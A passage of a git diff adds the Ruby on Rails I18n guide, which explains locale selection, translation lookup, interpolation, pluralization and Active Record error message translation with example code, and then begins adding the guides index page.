+I18n.backend.send(:init_translations)
+
+AVAILABLE_LOCALES = I18n.backend.available_locales
+RAILS_DEFAULT_LOGGER.debug "* Loaded locales: #{AVAILABLE_LOCALES.inspect}"
+</ruby>
+
+You can then wrap the constant for easy access in ApplicationController:
+
+<ruby>
+class ApplicationController < ActionController::Base
+  def available_locales; AVAILABLE_LOCALES; end
+end
+</ruby>
+
+h4. Setting the Locale from the Domain Name
+
+One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages:
+
+* The locale is an _obvious_ part of the URL
+* People intuitively grasp in which language the content will be displayed
+* It is very trivial to implement in Rails
+* Search engines seem to like that content in different languages lives at different, inter-linked domains
+
+You can implement it like this in your ApplicationController:
+
+<ruby>
+before_filter :set_locale
+def set_locale
+  I18n.locale = extract_locale_from_uri
+end
+# Get locale from top-level domain or return nil if such locale is not available
+# You have to put something like:
+#   127.0.0.1 application.com
+#   127.0.0.1 application.it
+#   127.0.0.1 application.pl
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_tld
+  parsed_locale = request.host.split('.').last
+  (available_locales.include? parsed_locale) ? parsed_locale  : nil
+end
+</ruby>
+
+We can also set the locale from the _subdomain_ in a very similar way:
+
+<ruby>
+# Get locale code from request subdomain (like http://it.application.local:3000)
+# You have to put something like:
+#   127.0.0.1 gr.application.local
+# in your /etc/hosts file to try this out locally
+def extract_locale_from_subdomain
+  parsed_locale = request.subdomains.first
+  (available_locales.include? parsed_locale) ? parsed_locale  : nil
+end
+</ruby>
+
+If your application includes a locale switching menu, you would then have something like this in it:
+
+<ruby>
+link_to("Deutsch", "#{APP_CONFIG[:deutsch_website_url]}#{request.env['REQUEST_URI']}")
+</ruby>
+
+assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +http://www.application.de+.
+
+This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path).
+
+h4. Setting the Locale from the URL Params
+
+The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case.
+
+This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
+
+Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course.
+
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method).
+
+We can include something like this in our ApplicationController then:
+
+<ruby>
+# app/controllers/application_controller.rb
+def default_url_options(options={})
+  logger.debug "default_url_options is passed options: #{options.inspect}\n"
+  { :locale => I18n.locale }
+end
+</ruby>
+
+Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+.
+
+You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this.
+
+You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way:
+
+<ruby>
+# config/routes.rb
+map.resources :books, :path_prefix => '/:locale'
+</ruby>
+
+Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed).
+
+Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.)
+
+You would probably need to map URLs like these:
+
+<ruby>
+# config/routes.rb
+map.dashboard '/:locale', :controller => "dashboard"
+</ruby>
+
+Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.)
+
+IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki.
+
+h4. Setting the Locale from the Client Supplied Information
+
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' prefered language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above.
+
+
+h5. Using +Accept-Language+
+
+One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_).
+
+A trivial implementation of using an +Accept-Language+ header would be:
+
+<ruby>
+def set_locale
+  logger.debug "* Accept-Language: #{request.env['HTTP_ACCEPT_LANGUAGE']}"
+  I18n.locale = extract_locale_from_accept_language_header
+  logger.debug "* Locale set to '#{I18n.locale}'"
+end
+private
+def extract_locale_from_accept_language_header
+  request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+end
+</ruby>
+
+Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":http://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb.
+
+h5. Using GeoIP (or Similar) Database
+
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your prefered locale for the country/region/city returned.
+
+h5. User Profile
+
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+
+h3. Internationalizing your Application
+
+OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff.
+
+Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide neccessary translations for these abstracts.
+
+You most probably have something like this in one of your applications:
+
+<ruby>
+# config/routes.rb
+ActionController::Routing::Routes.draw do |map|
+  map.root :controller => 'home', :action => 'index'
+end
+
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = "Hello flash!"
+  end
+end
+
+# app/views/home/index.html.erb
+<h1>Hello world!</h1>
+<p><%= flash[:notice] %></p>
+</ruby>
+
+!images/i18n/demo_untranslated.png(rails i18n demo untranslated)!
+
+h4. Adding Translations
+
+Obviously there are *two strings that are localized to English*. In order to internationalize this code, *replace these strings* with calls to Rails' +#t+ helper with a key that makes sense for the translation:
+
+<ruby>
+# app/controllers/home_controller.rb
+class HomeController < ApplicationController
+  def index
+    flash[:notice] = t(:hello_flash)
+  end
+end
+
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p>
+</ruby>
+
+When you now render this view, it will show an error message which tells you that the translations for the keys +:hello_world+ and +:hello_flash+ are missing.
+
+!images/i18n/demo_translation_missing.png(rails i18n demo translation missing)!
+
+NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +&lt;span class="translation_missing"&gt;+.
+
+So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
+
+<ruby>
+# config/locale/en.yml
+en:
+  hello_world: Hello World
+  hello_flash: Hello Flash
+
+# config/locale/pirate.yml
+pirate:
+  hello_world: Ahoy World
+  hello_flash: Ahoy Flash
+</ruby>
+
+There you go. Because you haven't changed the default_locale, I18n will use English. Your application now shows:
+
+!images/i18n/demo_translated_en.png(rails i18n demo translated to english)!
+
+And when you change the URL to pass the pirate locale (+http://localhost:3000?locale=pirate+), you'll get:
+
+!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)!
+
+NOTE: You need to restart the server when you add new locale files.
+
+You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the prefered option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.)
+
+h4. Adding Date/Time Formats
+
+OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used.
+
+<ruby>
+# app/views/home/index.html.erb
+<h1><%=t :hello_world %></h1>
+<p><%= flash[:notice] %></p
+<p><%= l Time.now, :format => :short %></p>
+</ruby>
+
+And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
+
+<ruby>
+# config/locale/pirate.yml
+pirate:
+  time:
+    formats:
+      short: "arrrround %H'ish"
+</ruby>
+
+So that would give you:
+
+!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)!
+
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically be ready for use.
+
+h4. Localized Views
+
+Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.)
+
+You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
+
+h4. Organization of Locale Files
+
+When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you.
+
+For example, your +config/locale+ directory could look like this:
+
+<pre>
+|-defaults
+|---es.rb
+|---en.rb
+|-models
+|---book
+|-----es.rb
+|-----en.rb
+|-views
+|---defaults
+|-----es.rb
+|-----en.rb
+|---books
+|-----es.rb
+|-----en.rb
+|---users
+|-----es.rb
+|-----en.rb
+|---navigation
+|-----es.rb
+|-----en.rb
+</pre>
+
+This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation.
+
+NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further:
+
+<ruby>
+  # config/environment.rb
+  config.i18n.load_path += Dir[File.join(RAILS_ROOT, 'config', 'locales', '**', '*.{rb,yml}')]
+</ruby>
+
+Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations.
+
+h3. Overview of the I18n API Features
+
+You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application.  In the following chapters, we'll cover it's features in more depth.
+
+Covered are features like these:
+
+* looking up translations
+* interpolating data into translations
+* pluralizing translations
+* localizing dates, numbers, currency, etc.
+
+h4. Looking up Translations
+
+h5. Basic Lookup, Scopes and Nested Keys
+
+Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
+
+<ruby>
+I18n.t :message
+I18n.t 'message'
+</ruby>
+
+The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key:
+
+<ruby>
+I18n.t :invalid, :scope => [:activerecord, :errors, :messages]
+</ruby>
+
+This looks up the +:invalid+ message in the Active Record error messages.
+
+Additionally, both the key and scopes can be specified as dot-separated keys as in:
+
+<ruby>
+I18n.translate :"activerecord.errors.messages.invalid"
+</ruby>
+
+Thus the following calls are equivalent:
+
+<ruby>
+I18n.t 'activerecord.errors.messages.invalid'
+I18n.t 'errors.messages.invalid', :scope => :active_record
+I18n.t :invalid, :scope => 'activerecord.errors.messages'
+I18n.t :invalid, :scope => [:activerecord, :errors, :messages]
+</ruby>
+
+h5. Defaults
+
+When a +:default+ option is given, its value will be returned if the translation is missing:
+
+<ruby>
+I18n.t :missing, :default => 'Not here'
+# => 'Not here'
+</ruby>
+
+If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
+
+E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned:
+
+<ruby>
+I18n.t :missing, :default => [:also_missing, 'Not here']
+# => 'Not here'
+</ruby>
+
+h5. Bulk and Namespace Lookup
+
+To look up multiple translations at once, an array of keys can be passed:
+
+<ruby>
+I18n.t [:odd, :even], :scope => 'activerecord.errors.messages'
+# => ["must be odd", "must be even"]
+</ruby>
+
+Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with:
+
+<ruby>
+I18n.t 'activerecord.errors.messages'
+# => { :inclusion => "is not included in the list", :exclusion => ... }
+</ruby>
+
+h5. "Lazy" Lookup
+
+Rails 2.3 implements a convenient way to look up the locale inside _views_. When you have the following dictionary:
+
+<yaml>
+es:
+  books:
+    index:
+      title: "Título"
+</yaml>
+
+you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot): 
+
+<ruby>
+<%= t '.title' %>
+</ruby>
+
+h4. Interpolation
+
+In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature.
+
+All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation:
+
+<ruby>
+I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
+I18n.translate :thanks, :name => 'Jeremy'
+# => 'Thanks Jeremy!'
+</ruby>
+
+If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised.
+
+h4. Pluralization
+
+In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature.
+
+The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
+
+<ruby>
+I18n.backend.store_translations :en, :inbox => {
+  :one => '1 message',
+  :other => '{{count}} messages'
+}
+I18n.translate :inbox, :count => 2
+# => '2 messages'
+</ruby>
+
+The algorithm for pluralizations in +:en+ is as simple as:
+
+<ruby>
+entry[count == 1 ? 0 : 1]
+</ruby>
+
+I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero).
+
+If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised.
+
+h4. Setting and Passing a Locale
+
+The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+.
+
+If no locale is passed, +I18n.locale+ is used:
+
+<ruby>
+I18n.locale = :de
+I18n.t :foo
+I18n.l Time.now
+</ruby>
+
+Explicitely passing a locale:
+
+<ruby>
+I18n.t :foo, :locale => :de
+I18n.l Time.now, :locale => :de
+</ruby>
+
+The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this:
+
+<ruby>
+I18n.default_locale = :de
+</ruby>
+
+h3. How to Store your Custom Translations
+
+The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2]
+
+For example a Ruby Hash providing translations can look like this:
+
+<ruby>
+{
+  :pt => {
+    :foo => {
+      :bar => "baz"
+    }
+  }
+}
+</ruby>
+
+The equivalent YAML file would look like this:
+
+<ruby>
+pt:
+  foo:
+    bar: baz
+</ruby>
+
+As you see, in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz".
+
+Here is a "real" example from the Active Support +en.yml+ translations YAML file:
+
+<ruby>
+en:
+  date:
+    formats:
+      default: "%Y-%m-%d"
+      short: "%b %d"
+      long: "%B %d, %Y"
+</ruby>
+
+So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+:
+
+<ruby>
+I18n.t 'date.formats.short'
+I18n.t 'formats.short', :scope => :date
+I18n.t :short, :scope => 'date.formats'
+I18n.t :short, :scope => [:date, :formats]
+</ruby>
+
+Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats.
+
+h4. Translations for Active Record Models
+
+You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names.
+
+For example when you add the following translations:
+
+<ruby>
+en:
+  activerecord:
+    models:
+      user: Dude
+    attributes:
+      user:
+        login: "Handle"
+      # will translate User attribute "login" as "Handle"
+</ruby>
+
+Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle".
+
+h5. Error Message Scopes
+
+Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account.
+
+This gives you quite powerful means to flexibly adjust your messages to your application's needs.
+
+Consider a User model with a +validates_presence_of+ validation for the name attribute like this:
+
+<ruby>
+class User < ActiveRecord::Base
+  validates_presence_of :name
+end
+</ruby>
+
+The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces:
+
+<ruby>
+activerecord.errors.models.[model_name].attributes.[attribute_name]
+activerecord.errors.models.[model_name]
+activerecord.errors.messages
+</ruby>
+
+Thus, in our example it will try the following keys in this order and return the first result:
+
+<ruby>
+activerecord.errors.models.user.attributes.name.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+</ruby>
+
+When your models are additionally using inheritance then the messages are looked up in the inheritance chain.
+
+For example, you might have an Admin model inheriting from User:
+
+<ruby>
+class Admin < User
+  validates_presence_of :name
+end
+</ruby>
+
+Then Active Record will look for messages in this order:
+
+<ruby>
+activerecord.errors.models.admin.attributes.title.blank
+activerecord.errors.models.admin.blank
+activerecord.errors.models.user.attributes.title.blank
+activerecord.errors.models.user.blank
+activerecord.errors.messages.blank
+</ruby>
+
+This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes.
+
+h5. Error Message Interpolation
+
+The translated model name, translated attribute name, and value are always available for interpolation.
+
+So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your {{attribute}}"+.
+
+* +count+, where available, can be used for pluralization if present:
+
+|_. validation                 |_.with option              |_.message                  |_.interpolation|
+| validates_confirmation_of    | -                         | :confirmation             | -|
+| validates_acceptance_of      | -                         | :accepted                 | -|
+| validates_presence_of        | -                         | :blank                    | -|
+| validates_length_of          | :within, :in              | :too_short                | count|
+| validates_length_of          | :within, :in              | :too_long                 | count|
+| validates_length_of          | :is                       | :wrong_length             | count|
+| validates_length_of          | :minimum                  | :too_short                | count|
+| validates_length_of          | :maximum                  | :too_long                 | count|
+| validates_uniqueness_of      | -                         | :taken                    | -|
+| validates_format_of          | -                         | :invalid                  | -|
+| validates_inclusion_of       | -                         | :inclusion                | -|
+| validates_exclusion_of       | -                         | :exclusion                | -|
+| validates_associated         | -                         | :invalid                  | -|
+| validates_numericality_of    | -                         | :not_a_number             | -|
+| validates_numericality_of    | :greater_than             | :greater_than             | count|
+| validates_numericality_of    | :greater_than_or_equal_to | :greater_than_or_equal_to | count|
+| validates_numericality_of    | :equal_to                 | :equal_to                 | count|
+| validates_numericality_of    | :less_than                | :less_than                | count|
+| validates_numericality_of    | :less_than_or_equal_to    | :less_than_or_equal_to    | count|
+| validates_numericality_of    | :odd                      | :odd                      | -|
+| validates_numericality_of    | :even                     | :even                     | -|
+
+h5. Translations for the Active Record +error_messages_for+ Helper
+
+If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it.
+
+Rails ships with the following translations:
+
+<yaml>
+en:
+  activerecord:
+    errors:
+      template:
+        header:
+          one:   "1 error prohibited this {{model}} from being saved"
+          other: "{{count}} errors prohibited this {{model}} from being saved"
+        body:    "There were problems with the following fields:"
+</yaml>
+
+h4. Overview of Other Built-In Methods that Provide I18n Support
+
+Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview.
+
+h5. Action View Helper Methods
+
+* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations.
+
+* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date selection helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable.
+
+* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope.
+
+h5. Active Record Methods
+
+* +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes".
+
+* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes".
+
+*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +'&nbsp;'+).
+
+h5. Active Support Methods
+
+* +Array#to_sentence+ uses format settings as given in the "support.array":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope.
+
+
+h3. Customize your I18n Setup
+
+h4. Using Different Backends
+
+For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
+
+That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
+
+<ruby>
+I18n.backend = Globalize::Backend::Static.new
+</ruby>
+
+h4. Using Different Exception Handlers
+
+The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
+
+<ruby>
+MissingTranslationData       # no translation was found for the requested key
+InvalidLocale                # the locale set to I18n.locale is invalid (e.g. nil)
+InvalidPluralizationData     # a count option was passed but the translation data is not suitable for pluralization
+MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
+ReservedInterpolationKey     # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
+UnknownFileType              # the backend does not know how to handle a file type that was added to I18n.load_path
+</ruby>
+
+The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope.
+
+The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
+
+In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
+
+<ruby>
+module I18n
+  def just_raise_that_exception(*args)
+    raise args.first
+  end
+end
+
+I18n.exception_handler = :just_raise_that_exception
+</ruby>
+
+This would re-raise all caught exceptions including +MissingTranslationData+.
+
+Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+.
+
+To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option:
+
+<ruby>
+I18n.t :foo, :raise => true # always re-raises exceptions from the backend
+</ruby>
+
+h3. Conclusion
+
+At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project.
+
+If you find anything missing or wrong in this guide please file a ticket on "our issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions please sign up to our "mailinglist":http://groups.google.com/group/rails-i18n.
+
+
+h3. Contributing to Rails I18n
+
+I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-bread of most widely useful features for inclusion in the core.
+
+Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!)
+
+If you find your own locale (language) missing from our "example translations data":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":http://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":http://github.com/guides/pull-requests.
+
+
+h3. Resources
+
+* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki.
+* "rails-i18n Google group":http://groups.google.com/group/rails-i18n - The project's mailing list.
+* "Github: rails-i18n":http://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases.
+* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project.
+* "Github: i18n":http://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem.
+* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem.
+
+
+h3. Authors
+
+* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author)
+* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k
+
+If you found this guide useful please consider recommending its authors on "workingwithrails":http://www.workingwithrails.com.
+
+
+h3. Footnotes
+
+fn1. Or, to quote "Wikipedia":http://en.wikipedia.org/wiki/Internationalization_and_localization: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
+
+fn2. Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
+
+fn3. One of these reasons is that we don't want to imply any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
+
+
+h3. Changelog
+
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/23
diff --git a/vendor/rails/railties/guides/source/index.erb.textile b/vendor/rails/railties/guides/source/index.erb.textile
new file mode 100644
index 00000000..4c8dd65a
--- /dev/null
+++ b/vendor/rails/railties/guides/source/index.erb.textile
@@ -0,0 +1,124 @@
+<% content_for :header_section do %>
+h2. Ruby on Rails guides
+
+These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:
+
+* "Current Release version":http://guides.rubyonrails.org - based on Rails 2.3
+* "Edge version":http://guides.rails.info - based on the current Rails "master branch":http://github.com/rails/rails/tree/master
+
+<% end %>
+
+<% content_for :index_section do %>
+<div id="subCol">
+  <dl>
+    <dd class="warning">Rails Guides are a result of the ongoing "Guides hackfest":http://hackfest.rubyonrails.org and a work in progress.</dd>
+    <dd class="ticket">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</dd>
